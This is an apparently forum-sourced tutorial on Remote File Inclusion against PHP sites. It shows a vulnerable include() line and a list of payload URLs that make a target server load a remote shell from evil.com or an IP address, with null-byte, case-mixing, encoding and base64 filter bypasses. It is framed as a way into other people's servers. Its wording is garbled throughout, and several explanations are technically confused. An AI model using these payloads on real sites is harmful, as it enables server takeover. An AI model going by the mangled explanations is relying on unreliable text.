— RFI //
Starting off, we are going to discuss the technique „RFI“, this ideal is often named by „Remote File Inclusion“.
It is similar to „Local File Inclusion“, the only difference is that your not trying to read a local file, instead your trying to make the server read a remote stationery.
The vulnerable code lies around here:
<?php @include($_GET["page"]); ?>
Instead of sanitizing inputs, it lets us submit anything on the „page“ variable, this includes load/execute structure.
An vulnerable URL can appear to be something like this:
You may have stumbled upon a URL familiar to that, but have you ever thought that it could be your way in? Simply erase the inclusion after ?page=, and insert a shell. Here is an example of the attack in action:
Now the first thing you might be asking yourself is, „why is php sanitized, isn’t that the extension used to make our shell appear?“. Well, that is a good question but the reason .php is sanitized is because if we read from a website that had the extension PHP in action, then we would make a completely different website appear in our Remote File Inclusion attack.
The reason we are reading from our shell as a text document is because our entire PHP script is roleplayed in the document, and because PHP is already in play on the website we are using Remote File Inclusion on.
Now you may be asking yourself, „why is the question mark included?“. The reason the question mark is in play is because it helps translate to the server that its a submission request, if we didn’t have the question mark included then the website would just respond with a unknown query/response. ? helps reinstate our request and that is the partial print as to why Remote File Inclusion works.
If the attack isn’t successful, then that’s usually a sign of recheck and research by the webmaster. Although, there are characters/sequences that can bypass the filters webmasters have in place, here is partial list with information and howto.
[url]http://site.com/index.php?page=http://www.evil.com/shell.txt?%00[/url] — This works because the Null Byte in PHP is known as the „string terminator“, and in our syntax its used to terminate anything after it.
[url]http://site.com/index.php?page=HtTp://WwW.eViL.cOm/sHeLl.TxT[/url] — We can use mixed characters to bypass some filters, it may look weird but it reinstates a clear request on the server.
[url]http://site.com/index.php?page=HtTp%253A%252F%252FWwW.eViL.cOm%252FsHeLl.TxT[/url] — You can try URL encoding your input to bypass filters. This works because it encodes our special characters that are usually blacklisted.
[url]http://site.com/index.php?page=//evil.com/shell.txt?[/url] — This works sometimes because // isn’t usually a sanitized input, and if we do use // as an input in the URL it still showcases the original output. You can also use the URL encode function to make this work.
[url]http://site.com/index.php?page=188.8.131.52/shell.txt?[/url] — This works if URL’s are sanitized (http/www/com/net/org, etc, programically not allowed). All you have to do is get the web I.P address and then read from your texted shell. In this showcased attack, you can also use the //184.108.40.206 method that was brought up above.
[url]http://site.com/index.php?aHR0cDovL3d3dy5ldmlsLmNvbQ==%3Fpage=/shell.txt%3F[/url] — This is a very rare attack but it has been showcased on sites like Gamebattles and Infinityward.com, what we are basically doing is reading from our input via Base64 value (the base64 value = the website we have our texted shell on) and then we use an encoded question mark, now we read from page to input the location which is /shell.txt? (%3F = encoded question mark) . The reason we don’t include our full URL is because the base64 value already represents the tags and URL, but /shell.txt? represents the location.
[url]http://site.com/index.php?http%3A%2F%2Fwww.evil.com=/shell.txt?[/url] — What we do here is read from a valid HTTP request (index.php?URL Structure), then we equalize our input and reinstate the web folder location (=/shell.txt?), in most cases though, you won’t have to use the ? because its completely localized and reads from a direct location.